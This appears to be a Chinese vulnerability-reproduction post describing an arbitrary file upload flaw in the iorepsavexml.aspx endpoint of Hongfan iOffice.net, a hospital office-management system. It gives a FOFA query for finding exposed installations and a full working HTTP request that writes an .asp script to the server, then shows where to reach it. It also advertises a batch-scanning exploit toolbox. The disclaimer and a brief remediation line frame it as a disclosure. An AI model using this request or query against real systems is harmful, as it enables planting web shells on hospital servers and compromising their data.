@[toc]

红帆iOffice iorepsavexml.aspx接口存在任意文件上传漏洞 附POC

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

1. 红帆iOffice iorepsavexml.aspx接口简介

微信公众号搜索：南风漏洞复现文库 该文章 南风漏洞复现文库 公众号首发

红帆iOffice.net从最早满足医院行政办公需求（传统OA），到目前融合了卫生主管部门的管理规范和众多行业特色应用，是目前唯一定位于解决医院综合业务管理的软件。

2.漏洞描述

红帆iOffice.net从最早满足医院行政办公需求（传统OA），到目前融合了卫生主管部门的管理规范和众多行业特色应用，是目前唯一定位于解决医院综合业务管理的软件，是最符合医院行业特点的医院综合业务管理平台，是成功案例最多的医院综合业务管理软件。红帆iOffice.net iiorepsavexml.aspx处存在任意文件上传漏洞。

CVE编号:

CNNVD编号:

CNVD编号:

3.影响版本

红帆iOffice.net信息管理平台信息化平台 红帆iOffice iorepsavexml.aspx接口存在任意文件上传漏洞

4.fofa查询语句

(app="红帆-ioffice” || app="红帆-HFOffice”)

5.漏洞复现

漏洞链接：http://127.00.0.1/iOffice/prg/set/report/iorepsavexml.aspx?key=writefile&filename=800031.asp&filepath=/upfiles/rep/pic/

漏洞数据包：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

POST /iOffice/prg/set/report/iorepsavexml.aspx?key=writefile&filename=800031.asp&filepath=/upfiles/rep/pic/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Length: 34
Content-Type: application/x-www-form-urlencoded

<%  Response.Write("378490899") %>

上传后，拼接上传路径http://127.0.0.1/iOffice/upfiles/rep/pic/800031.asp

6.POC&EXP

本期漏洞及往期漏洞的批量扫描POC及POC工具箱已经上传知识星球：南风网络安全

7.整改意见

联系厂商更新补丁：https://www.ioffice.cn/

8.往期回顾